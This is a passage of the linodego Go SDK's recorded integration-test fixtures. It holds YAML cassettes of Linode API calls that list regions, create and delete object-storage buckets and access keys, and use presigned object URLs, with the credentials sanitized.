"172.232.96.17,172.232.96.26,172.232.96.19,172.232.96.20,172.232.96.25,172.232.96.21,172.232.96.18,172.232.96.22,172.232.96.23,172.232.96.24", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44,172.233.64.43,172.233.64.37,172.233.64.40,172.233.64.46,172.233.64.41,172.233.64.39,172.233.64.42,172.233.64.45,172.233.64.38", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19,172.232.192.18,172.232.192.16,172.232.192.20,172.232.192.24,172.232.192.21,172.232.192.22,172.232.192.17,172.232.192.15,172.232.192.23", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts", "NETINT Quadra T1U"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34,172.233.160.27,172.233.160.30,172.233.160.29,172.233.160.32,172.233.160.28,172.233.160.33,172.233.160.26,172.233.160.25,172.233.160.31", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23,172.232.224.32,172.232.224.26,172.232.224.27,172.232.224.21,172.232.224.24,172.232.224.22,172.232.224.20,172.232.224.31,172.232.224.28", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts", "NETINT Quadra T1U"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45,172.233.128.38,172.233.128.53,172.233.128.37,172.233.128.34,172.233.128.36,172.233.128.33,172.233.128.39,172.233.128.43,172.233.128.44", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "nz-akl-1", "label": "Auckland, NZ", "country": "nz", "capabilities": ["Linodes", "Cloud Firewall", "Vlans", "Metadata", "Distributed Plans"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53,173.223.101.53", "ipv6": "1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 0, "maximum_linodes_per_pg": 0}, "site_type": "distributed"}, {"id": "us-den-1", "label": "Denver, CO", "country": "us", "capabilities": ["Linodes", "Cloud Firewall", "Vlans", "Metadata", "Distributed Plans"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53,173.223.101.53", "ipv6": "1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 0, "maximum_linodes_per_pg": 0}, "site_type": "distributed"}, {"id": "de-ham-1", "label": "Hamburg, DE", "country": "de", "capabilities": ["Linodes", "Cloud Firewall", "Vlans", "Metadata", "Distributed Plans"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53,173.223.101.53", "ipv6": "1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 0, "maximum_linodes_per_pg": 0}, "site_type": "distributed"}, {"id": "fr-mrs-1", "label": "Marseille, FR", "country": "fr", "capabilities": ["Linodes", "Cloud Firewall", "Vlans", "Metadata", "Distributed Plans"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53,173.223.101.53", "ipv6": "1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 0, "maximum_linodes_per_pg": 0}, "site_type": "distributed"}, {"id": "za-jnb-1", "label": "Johannesburg, ZA", "country": "za", "capabilities": ["Linodes", "Cloud Firewall", "Vlans", "Metadata", "Distributed Plans"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53,173.223.101.53", "ipv6": "1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 0, "maximum_linodes_per_pg": 0}, "site_type": "distributed"}, {"id": "my-kul-1", "label": "Kuala Lumpur, MY", "country": "my", "capabilities": ["Linodes", "Cloud Firewall", "Vlans", "Metadata", "Distributed Plans"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53,173.223.101.53", "ipv6": "1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 0, "maximum_linodes_per_pg": 0}, "site_type": "distributed"}, {"id": "co-bog-1", "label": "Bogot\u00e1, CO", "country": "co", "capabilities": ["Linodes", "Cloud Firewall", "Vlans", "Metadata", "Distributed Plans"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53,173.223.101.53", "ipv6": "1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 0, "maximum_linodes_per_pg": 0}, "site_type": "distributed"}, {"id": "mx-qro-1", "label": "Quer\u00e9taro, MX", "country": "mx", "capabilities": ["Linodes", "Cloud Firewall", "Vlans", "Metadata", "Distributed Plans"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53,173.223.101.53", "ipv6": "1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 0, "maximum_linodes_per_pg": 0}, "site_type": "distributed"}, {"id": "us-hou-1", "label": "Houston, TX", "country": "us", "capabilities": ["Linodes", "Cloud Firewall", "Vlans", "Metadata", "Distributed Plans"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53,173.223.101.53", "ipv6": "1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 0, "maximum_linodes_per_pg": 0}, "site_type": "distributed"}, {"id": "cl-scl-1", "label": "Santiago, CL", "country": "cl", "capabilities": ["Linodes", "Cloud Firewall", "Vlans", "Metadata", "Distributed Plans"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53,173.223.101.53", "ipv6": "1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 0, "maximum_linodes_per_pg": 0}, "site_type": "distributed"}, {"id": "gb-lon", "label": "London 2, UK", "country": "gb", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.236.0.46,172.236.0.50,172.236.0.47,172.236.0.53,172.236.0.52,172.236.0.45,172.236.0.49,172.236.0.51,172.236.0.54,172.236.0.48", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "au-mel", "label": "Melbourne, AU", "country": "au", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts", "NETINT Quadra T1U"], "status": "ok", "resolvers": {"ipv4": "172.236.32.23,172.236.32.35,172.236.32.30,172.236.32.28,172.236.32.32,172.236.32.33,172.236.32.27,172.236.32.37,172.236.32.29,172.236.32.34", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "in-bom-2", "label": "Mumbai 2, IN", "country": "in", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.236.171.41,172.236.171.42,172.236.171.25,172.236.171.44,172.236.171.26,172.236.171.45,172.236.171.24,172.236.171.43,172.236.171.27,172.236.171.28", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "de-fra-2", "label": "Frankfurt 2, DE", "country": "de", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts", "NETINT Quadra T1U"], "status": "ok", "resolvers": {"ipv4": "172.236.203.9,172.236.203.16,172.236.203.19,172.236.203.15,172.236.203.17,172.236.203.11,172.236.203.18,172.236.203.14,172.236.203.13,172.236.203.12", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "sg-sin-2", "label": "Singapore 2, SG", "country": "sg", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.236.129.8,172.236.129.42,172.236.129.41,172.236.129.19,172.236.129.46,172.236.129.23,172.236.129.48,172.236.129.20,172.236.129.21,172.236.129.47", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-tyo-3", "label": "Tokyo 3, JP", "country": "jp", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.237.4.15,172.237.4.19,172.237.4.17,172.237.4.21,172.237.4.16,172.237.4.18,172.237.4.23,172.237.4.24,172.237.4.20,172.237.4.14", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5,72.14.188.5,173.255.199.5,66.228.53.5,96.126.122.5,96.126.124.5,96.126.127.5,198.58.107.5,198.58.111.5,23.239.24.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5,173.230.128.5,173.230.129.5,173.230.136.5,173.230.140.5,66.228.59.5,66.228.62.5,50.116.35.5,50.116.41.5,23.239.18.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5,139.162.13.5,139.162.14.5,139.162.15.5,139.162.16.5,139.162.21.5,139.162.27.5,103.3.60.18,103.3.60.19,103.3.60.20", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5,139.162.131.5,139.162.132.5,139.162.133.5,139.162.134.5,139.162.135.5,139.162.136.5,139.162.137.5,139.162.138.5,139.162.139.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", "label": "Tokyo 2, JP", "country": "jp", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5,139.162.67.5,139.162.68.5,139.162.69.5,139.162.70.5,139.162.71.5,139.162.72.5,139.162.73.5,139.162.74.5,139.162.75.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}], "page": 1, "pages": 1, "results": 41}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 08 Jan 2025 06:04:11 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"us-iad","label":"go-bucket-test-def"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/object-storage/buckets method: POST response: body: '{"hostname": "go-bucket-test-def.us-iad-1.linodeobjects.com", "label": "go-bucket-test-def", "created": "2018-01-02T03:04:05", "region": "us-iad", "cluster": "us-iad-1", "size": 0, "objects": 0, "endpoint_type": "E1", "s3_endpoint": "us-iad-1.linodeobjects.com"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "262" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 08 Jan 2025 06:04:13 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - object_storage:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-test-def","bucket_access":[{"region":"us-iad","bucket_name":"go-bucket-test-def","permissions":"read_only"}],"regions":["us-iad"]}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/object-storage/keys method: POST response: body: '{"id": 1654587, "label": "go-test-def", "access_key": "[SANITIZED]", "secret_key": "[SANITIZED]", "limited": true, "bucket_access": [{"cluster": "us-iad-1", "bucket_name": "go-bucket-test-def", "permissions": "read_only", "region": "us-iad"}], "regions": [{"id": "us-iad", "s3_endpoint": "us-iad-1.linodeobjects.com", "endpoint_type": "E1"}]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "380" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 08 Jan 2025 06:04:14 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - object_storage:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"regions":["us-iad","us-mia"]}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/object-storage/keys/1654587 method: PUT response: body: '{"id": 1654587, "label": "go-test-def", "access_key": "[SANITIZED]", "secret_key": "[REDACTED]", "limited": true, "bucket_access": [{"cluster": "us-iad-1", "bucket_name": "go-bucket-test-def", "permissions": "read_only", "region": "us-iad"}], "regions": [{"id": "us-iad", "s3_endpoint": "us-iad-1.linodeobjects.com", "endpoint_type": "E1"}, {"id": "us-mia", "s3_endpoint": "us-mia-1.linodeobjects.com", "endpoint_type": "E1"}]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "436" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 08 Jan 2025 06:04:15 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - object_storage:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/object-storage/keys/1654587 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 08 Jan 2025 06:04:16 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - object_storage:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/object-storage/buckets/us-iad-1/go-bucket-test-def method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 08 Jan 2025 06:04:29 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - object_storage:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" TestObjectStorageObject_ACLConfig_Bucket_Delete.yaml000066400000000000000000000007401474652371000365000ustar00rootroot00000000000000golang-github-linode-linodego-1.47.0/test/integration/fixtures--- version: 1 interactions: - request: body: "" form: {} headers: {} url: https://us-east-1.linodeobjects.com:443/go-bucket-test-def/test?Signature=q40b1QCD%2FE5YyfsAW%2Fl5vZNfiRs%3D&Expires=1736322799&AWSAccessKeyID=SANITIZED method: DELETE response: body: "" headers: Connection: - keep-alive X-Amz-Request-Id: - tx000003f312b97ed86260d-00677e2d87-f1a4821b-default status: 204 No Content code: 204 duration: "" TestObjectStorageObject_ACLConfig_Bucket_Put.yaml000066400000000000000000000011771474652371000360530ustar00rootroot00000000000000golang-github-linode-linodego-1.47.0/test/integration/fixtures--- version: 1 interactions: - request: body: testing123 form: {} headers: Content-Type: - text/plain url: https://us-east-1.linodeobjects.com:443/go-bucket-test-def/test?Signature=UZqhNnak%2FwLVHy0HB2TW87rl%2Baw%3D&Expires=1736322791&AWSAccessKeyID=SANITIZED method: PUT response: body: "" headers: Accept-Ranges: - bytes Connection: - keep-alive Content-Length: - "0" Etag: - '"7f2ababa423061c509f4923dd04b6cf1"' X-Amz-Request-Id: - tx000003d8b04716d761fbb-00677e2d7f-ef83577d-default status: 200 OK code: 200 duration: "" TestObjectStorageObject_ACLConfig_Update.yaml000066400000000000000000000313521474652371000352260ustar00rootroot00000000000000golang-github-linode-linodego-1.47.0/test/integration/fixtures--- version: 1 interactions: - request: body: '{"cluster":"us-east-1","label":"go-bucket-test-def"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/object-storage/buckets method: POST response: body: '{"hostname": "go-bucket-test-def.us-east-1.linodeobjects.com", "label": "go-bucket-test-def", "created": "2018-01-02T03:04:05", "region": "us-east", "cluster": "us-east-1", "size": 0, "objects": 0}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "197" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 10 Jul 2024 18:07:33 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - object_storage:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"name":"test","method":"PUT","content_type":"text/plain","expires_in":360}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/object-storage/buckets/us-east-1/go-bucket-test-def/object-url method: POST response: body: '{"url": "https://us-east-1.linodeobjects.com:443/go-bucket-test-def/test?Signature=GShs5R09JONsfP%2Fb5k802GBEQjA%3D&Expires=1720635214&AWSAccessKeyID=SANITIZED", "exists": false}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, 